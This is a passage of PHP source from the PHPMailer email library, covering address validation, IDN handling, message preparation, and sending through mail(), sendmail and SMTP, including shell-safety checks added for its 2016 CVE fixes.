     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
